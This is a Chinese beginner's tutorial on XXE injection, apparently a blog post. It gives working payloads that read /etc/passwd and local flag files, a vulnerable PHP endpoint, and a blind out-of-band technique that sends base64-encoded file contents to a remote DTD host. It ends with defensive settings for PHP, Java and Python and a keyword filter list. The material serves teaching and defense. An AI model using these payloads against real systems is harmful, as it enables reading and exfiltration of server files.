本文介绍了一个菜鸡对xxe的一步步学习(内容多来源于大佬的博客,先感谢一波)

涉及知识点:

(1)xxe

目录:

解析:

1.xxe是什么(不详解了,网上很多的)

XXE(XML External Entity Injection) 全称为 XML 外部实体注入。(重点在外部实体

2.xml基础知识

示例代码:test.dtd

<?xml version="1.0"?> // xml 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver, sender, header, msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>]>

上面的 DTD 定义了 XML 的根元素是 message ,根元素下面的都是子元素。那么配合 test.dtd 的示例 xml 代码是:

<message>
<receiver>QAQ</receiver>
<sender>QWQ</sender>
</message>

其实除了在 DTD 中定义标签之外还可以定义实体(对应 xml 标签的内容)。实体分为内部实体和外部实体。下面的一个实例是内部实体。

示例代码:test.dtd

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test">]>

定义 foo 元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体xxe(实体可以看成一个变量,在 xml 中我们可以通过 & 符号来引用,即用 &xxe 来引用)。

上面的实体 xxe 类似于 py 中的 xxe="test" 。 (只是类似,千万别以为是一样的)

应用实例:

<root>
<pass>&xxe;</pass>
</root>

输出的结果当然就是 test 啦!

接下来是外部实体啦(实体可以从外部的 dtd 文件中引用)。

示例代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:test.dtd">]>
<root>
<pass>&xxe;</pass>
</root>

这样引用资源的任何更改都会自动更新,从而有了之后的漏洞。

哦,还有一种引用方法是使用 引用 公用DTD 的方法。(。。别骂了,真不熟QAQ)

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URL”>

这个在我们的攻击中可以起到和 SYSTEM 一样的作用??(我人傻了,没有实战经验好吧。留坑。等下,这是什么?)

一只咸鱼放弃了思考 n(*≧▽≦*)n 。

但是参数实体在我们的 Blind XXE 中起到了至关重要的作用。(?必须要学?)

哈哈哈,我不做人了((٩(//̀Д/́/)۶))!

(1)通用实体

用 &实体名; 引用的实体。在 DTD 文档中定义,在 XML 文档中引用。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

(2)参数实体

  • 使用 % 实体名 (注意这里的空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用。
  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体。
  • 和通用实体一样,参数实体也可以外部引用

示例代码:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

3.Normal XXE (有回显的读取本地敏感文件)

受攻击的服务器的代码示例:xml.php(这里用本地作为服务器)

<?php

    libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds; ?>

攻击方代码示例:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

攻击结果:

但是成功读取是因为这个文件没有特殊符号。但是如果有特殊符号的话,就完全读取不到了。那么这时候就要祭出我们的 CDATA :

那么把我们读出来的数据放在 CDATA 中就可以绕过。那么怎么添加呢?只要像这样:

......
<!ENTITY start "<![CDATA[">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY end "]]>">]>
<root>&start;&xxe;&end;</root>

那么这么做可以吗(ฅ´ω`ฅ)?肯定不行啊,我们可没有说 xml 还支持字符串拼接这种东西。结果可以自己试试,反正是不行的哦。

但是这并不代表我们没办法了。可以利用目前比较常见的方法。

evil.dtd:

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY all "%start;%xxe;%end;">

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///C:/Users/Acer/Desktop/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;]> <root>&all;</root> //上面的ip要换成你的ip哦

结果:

上面的例子是利用了外部实体进行拼接?(应该)。在内部实体中进行调用结果而已。

有一个点:大佬说在 java 的 xxe 中 netdoc 协议是可以代替 file 协议的。

然后引出下一个问题,xxe并不是都有回显的,那么无回显的 xxe 怎么办呢?

4.Blind OOB XXE(无回显读取本地敏感文件)

盲 xxe 的xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd文件:

<!ENTITY % start "<!ENTITY % send SYSTEM 'http://127.0.0.1:3333/?%file;'>">
%start;

payload:

<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://127.0.0.1/test.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///G:/1.txt">
%remote;
%send;
]>
<message>aaa</message>

攻击截图:

接下来讲几个注意点:

  1. test.dtd 文件中的 &#x25 是不可以被 % 代替的,可以自己本地测试一下。在实体中不可以出现 % 的。
  2. 这个盲xxe可以用php://filter协议是因为有 file_get_contents 函数(应该没有人不熟悉 php://filter 吧。)
  3. 还是那一句,127.0.0.1 可以换成你的文件的 ip

然后讲一下调用过程:

%remote;%start;%send;就是我们的调用过程。肯定是先包含 test.dtd 啊。然后是 %start; 开始调用 %file; 来获取我们想要的文件的内容。最后 %send 将结果发送到我们的vps上。

从而实现了文件内容的回显。

如何防御 xxe 攻击

方法一:  使用不同语言提供的不同的禁用外部实体方法(我觉得在 awd 中最好用这种方法吧)

PHP:
libxml_disable_entity_loader(true); JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false); Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方法二:  过滤用户提交的 xml 数据

过滤关键词 : <!DOCTYPE , <!ENTITY , SYSTEM , PUBLIC

参考

K0rz3n大佬的教程

JrXnm233大佬的教程

从零开始的xxe学习的更多相关文章

  1. XXE学习(一)——XML基础

    XXE学习(一)——xml基础 一.XML简介 XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据 ...

  2. python之感知器-从零开始学深度学习

    感知器-从零开始学深度学习 未来将是人工智能和大数据的时代,是各行各业使用人工智能在云上处理大数据的时代,深度学习将是新时代的一大利器,在此我将从零开始记录深度学习的学习历程. 我希望在学习过程中做到 ...

  3. 持续更新:从零开始的php学习生活

    其实也不是真的从零开始,在此之前我还是一边研究博学(博客美化)一边学的CSS.HTML.JavaScript的,相关内容可以戳这里. 看本文之前你最好稍微熟悉一下HTML.JavaScript什么的. ...

  4. 从零开始--系统深入学习IOS(使用Swift---带链接)

    这是一篇面向IOS新手的文档.同时提供一些系统知识的链接,让你系统学习IOS.它提供一些信息帮助你采用技术和编程接口来开发苹果软件产品,本人不保证会在将来更新.学习它,需要你掌握一些基本的编程知识 1 ...

  5. 从零开始学深度学习mxnet教程:安装以及基本操作

    一.导言 本教程适合对人工智能有一定的了解的同学,特别是对实际使⽤深度学习感兴趣的⼤学⽣.⼯程师和研究⼈员.但本教程并不要求你有任何深度学习或者机器学习的背景知识,我们将从头开始解释每⼀个概念.虽然深 ...

  6. 从零开始的vue学习笔记(八)

    前言 今天花一天时间阅读完Vue Router的官方文档的基础部分,简单的做一下总结和记录 Vue Router是什么 Vue Router 是 Vue.js 官方的路由管理器,用于构建单页应用(SP ...

  7. 从零开始的vue学习笔记(五)

    单文件组件 Vue.component 来定义全局组件的缺点: 全局定义 (Global definitions) 强制要求每个 component 中的命名不得重复 字符串模板 (String te ...

  8. 从零开始的vue学习笔记(一)

    前言 项目要用vue.js,今天开始自学vue.js官方教程,记录下自己的学习摘要,方便后面查阅(此笔记按照学习天数,每天一篇) Vue.js是什么 Vue是一套用于构建用户界面的渐进式框架,Vue ...

  9. XXE学习(二)——DTD基础

    一.DTD简介 文档类型定义(DTD)可定义合法的XML文档构建模块.它使用一系列合法的元素来定义文档的结构. 有了DTD文档后,xml就需按照DTD中的规范来书写 DTD 可被成行地声明于 XML ...

随机推荐

  1. 《<SPRING5高级编程(第5版)>_王净译》笔记-【目录】

    第一次写这玩意,不知道什么时候能写完,今天项目比较近,期望年底能看完吧. 先定个小目标 20201228 完成 第1章 Spring介绍 第2章 入门 第3章 在Spring中引入IoC和DI 第4章 ...

  2. Markdown语法+Typora快捷键

    1. Markdown语法 1.1 代码块生成 // 对于代码块,使用"```+编程语言"即可生成书写对应代码块的区域 // JS代码块 ​```javascript // Jav ...

  3. 掉电后osdmap丢失无法启动osd的解决方案

    前言 本篇讲述的是一个比较极端的故障的恢复场景,在整个集群全部服务器突然掉电的时候,osd里面的osdmap可能会出现没刷到磁盘上的情况,这个时候osdmap的最新版本为空或者为没有这个文件 还有一种 ...

  4. rados put striper功能的调试

    前言 之前对于striper这个地方的功能并没研究太多,只是知道这个里面可以以条带方式并行的去写对象,从而加大并发性来提高性能,而默认的条带数目为1,也就是以对象大小去写,并没有条带,所以不是很好感觉 ...

  5. NUC972当检测到sd卡时,在sd卡驱动中操作gpio开启sd卡的电源,解决sd卡因低电压有时识别不正常的问题

    1.根据硬件原理图,找到对应控制sd卡电源的gpio引脚,并在sd卡驱动文件中定义操作改该引脚的宏 2.在sd卡检测函数中,使用glib增加开sd卡电源的操作,如此当sd卡每次被检测到时,驱动中就会自 ...

  6. Dubbo 初识SPI-Version2.7.5

    1简介 SPI 全称为 Service Provider Interface,是一种服务发现机制.SPI 的本质是将接口实现类的全限定名配置在文件中,并由服务加载器读取配置文件,加载实现类.这样可以在 ...

  7. Redis实现分布式缓存

    Redis 分布式缓存实现(一) 1. 什么是缓存(Cache) 定义:就是计算机内存中的一段数据: 2. 内存中数据特点 a. 读写快    b. 断电立即丢失 3. 缓存解决了什么问题? a. 提 ...

  8. MathType总结编辑括号的类型(下)

    在数学中,所涉及到的公式总是会有各种各样的情况,对于括号这些都是最常见的了.在最开始的四则基本运算中我们学会了使用括号,而随着学习的不断深入,所涉及到的符号与公式都越来越多,对于括号的类型也是使用得非 ...

  9. Ayoa:麻雀虽小、五脏俱全的思维导图工具

    Ayoa是一款简单好用的思维导图软件,在PC端可以使用Ayoa网页版,也就是不用下载即可使用,十分轻便省力.但麻雀虽小,五脏可十分俱全,同类的其他大型软件有的东西它可一点不少,甚至还有更多的特殊功能. ...

  10. 如何在Visio 中插入各种数学公式?

    在Visio 2007老版本中,插入公式可以直接在插入图片中选择,但是在后来的Visio2013中却无法直接通过插入图片的方法插入,那么该如何在visio 2013中插入公式呢? 具体的操作步骤如下: ...